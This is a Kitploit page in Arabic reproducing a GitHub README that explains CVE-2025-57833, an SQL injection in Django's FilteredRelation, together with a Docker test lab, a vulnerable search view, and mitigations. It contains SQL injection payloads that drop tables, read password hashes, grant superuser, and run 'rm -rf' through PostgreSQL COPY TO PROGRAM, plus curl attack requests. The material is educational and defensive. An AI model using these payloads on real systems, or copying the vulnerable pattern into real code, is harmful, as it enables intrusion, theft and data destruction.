Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-57833 — قمنا بإعداد بيئة لاختبار CVE-2025-57833. تم بناء هذه البيئة باستخدام الذكاء الاصطناعي، لذا فهي تخضع للتعديل المستمر. | Kitploit
أدوات/GitHubGitHub/mkway/cve-2025-57833
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكوداستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubmkway/cve-2025-57833

CVE-2025-57833

قمنا بإعداد بيئة لاختبار CVE-2025-57833. تم بناء هذه البيئة باستخدام الذكاء الاصطناعي، لذا فهي تخضع للتعديل المستمر.

عرض المستودع
212منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-57833: ثغرة حقن SQL في Django

يُوضّح هذا المستودع ويشرح CVE-2025-57833، وهي ثغرة حقن SQL خطيرة في ORM الخاص بـ Django تُؤثر على الإصدارات 4.2 قبل 4.2.24، و5.1 قبل 5.1.12، و5.2 قبل 5.2.6.

🚨 نظرة عامة على الثغرة

نقاط CVSS: 9.8 (حرجة)
التأثير: حقن SQL يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)
المصادقة المطلوبة: لا شيء (هجوم غير مُصادق)


📚 فهم الخلفية

ما هو Django ORM؟

Django ORM (رسم الخرائط العلائقية للكائنات) يُتيح للمطورين التفاعل مع قواعد البيانات باستخدام كود Python بدلاً من SQL الخام. على سبيل المثال:

root@kitploit:~
# بدلاً من SQL الخام: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

ما هو FilteredRelation؟

FilteredRelation هي ميزة في Django تتيح لك ربط الجداول مع شروط تصفية إضافية:

root@kitploit:~
# ربط الكتب بالمؤلفين، ولكن فقط المؤلفين النشطين Book.objects.annotate( active_author=FilteredRelation('author', condition=Q(author__is_active=True)) ).select_related('active_author')

ما هي أسماء الحقول الديناميكية؟

أحيانًا يحتاج المطورون إلى إنشاء أسماء حقول ديناميكيًا بناءً على إدخال المستخدم:

root@kitploit:~
# المستخدم يريد البحث بمعايير مختلفة
search_field = request.POST.get('field_name')  # إدخال المستخدم: "title", "author", إلخ.

# إنشاء حقل ديناميكي باستخدام **kwargs
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

🎯 شرح الثغرة

كيف تحدث الثغرة

تحدث الثغرة عندما يُستخدم إدخال مستخدم غير منقّى كمفاتيح قاموس في annotate() أو alias() مع FilteredRelation. إليك العملية خطوة بخطوة:

الخطوة 1: نمط الكود الضعيف

root@kitploit:~
# هذا ما تفعله التطبيقات الضعيفة:
user_input = request.POST.get('search_field')  # المُهاجم يتحكم في هذا

# الثغرة هنا - يصبح إدخال المستخدم اسم عمود SQL
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ خطير
})

الخطوة 2: إدخال ضار

يُرسل المُهاجم إدخالاً ضارًا:

root@kitploit:~
user_input = "malicious_field'; DROP TABLE users; --"

الخطوة 3: توليد SQL

يُولد Django SQL كالتالي:

root@kitploit:~
SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

الخطوة 4: تنفيذ حقن SQL

يتم تنفيذ SQL الضار، مما قد يؤدي إلى:

  • حذف الجداول
  • استخراج بيانات حساسة
  • تنفيذ أوامر عشوائية (RCE)

🔍 سيناريو هجوم في العالم الحقيقي

نمط ضعيف شائع

العديد من تطبيقات Django تحتوي على وظيفة بحث حيث يمكن للمستخدمين اختيار الحقل الذي يريدون البحث فيه:

root@kitploit:~
# views.py - نمط ضعيف شائع
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # المطور يظن أن هذا آمن - لكنه ليس كذلك!
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

ناقل الهجوم

root@kitploit:~
# المُهاجم يُرسل طلب POST هذا:
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

⚖️ الكود الآمن مقابل الكود الضعيف

❌ كود ضعيف

root@kitploit:~
# لا تفعل هذا أبدًا - إدخال المستخدم مباشر كمفتاح قاموس
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # حقن SQL!
})

✅ كود آمن - نهج القائمة البيضاء

root@kitploit:~
# آمن - استخدم التحقق من القائمة البيضاء
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("حقل غير صالح")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # الآن آمن
})

✅ كود آمن - أسماء حقول ثابتة

root@kitploit:~
# آمن - استخدم أسماء حقول ثابتة
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

💥 تصعيد التأثير: من حقن SQL إلى RCE

1. كشف المعلومات

root@kitploit:~
-- استخراج بيانات حساسة
'; SELECT username, password FROM auth_user; --

2. التلاعب بقاعدة البيانات

root@kitploit:~
-- تعديل البيانات
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

3. تنفيذ تعليمات برمجية عن بُعد (PostgreSQL)

root@kitploit:~
-- تنفيذ أوامر النظام (PostgreSQL مع الإضافات المناسبة)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

🛡️ استراتيجيات التخفيف

1. التحقق من الإدخال (موصى به)

root@kitploit:~
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"الحقل '{field_name}' غير مسموح به")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

2. تجنب أسماء الحقول الديناميكية

root@kitploit:~
# بدلاً من أسماء الحقول الديناميكية، استخدم المنطق الشرطي
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("نوع بحث غير صالح")

3. تحديث Django

قم بالتحديث إلى أحدث إصدار من Django:

  • Django 4.2.24+
  • Django 5.1.12+
  • Django 5.2.6+

🧪 اختبار هذه الثغرة

يتضمن هذا المستودع بيئة اختبار كاملة:

root@kitploit:~
# تشغيل تطبيق Django الضعيف
docker-compose up

# اختبار الثغرة
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'

للحصول على تعليمات اختبار مفصلة، راجع document/README.md.


📖 المراجع

  • تنبيه أمان Django: إصدارات أمان Django: 5.2.6, 5.1.12, و 4.2.24
  • تحليل فني: Django Unauthenticated 0-click RCE and SQL Injection بواسطة Eyal Gabay
  • تفاصيل CVE: CVE-2025-57833 Django SQL Injection

⚠️ إخلاء مسؤولية

هذا المستودع لأغراض تعليمية ودفاعية فقط. لا تستخدم هذه المعلومات لمهاجمة أنظمة لا تملكها أو ليس لديك إذن باختبارها.

تنزيل الأداة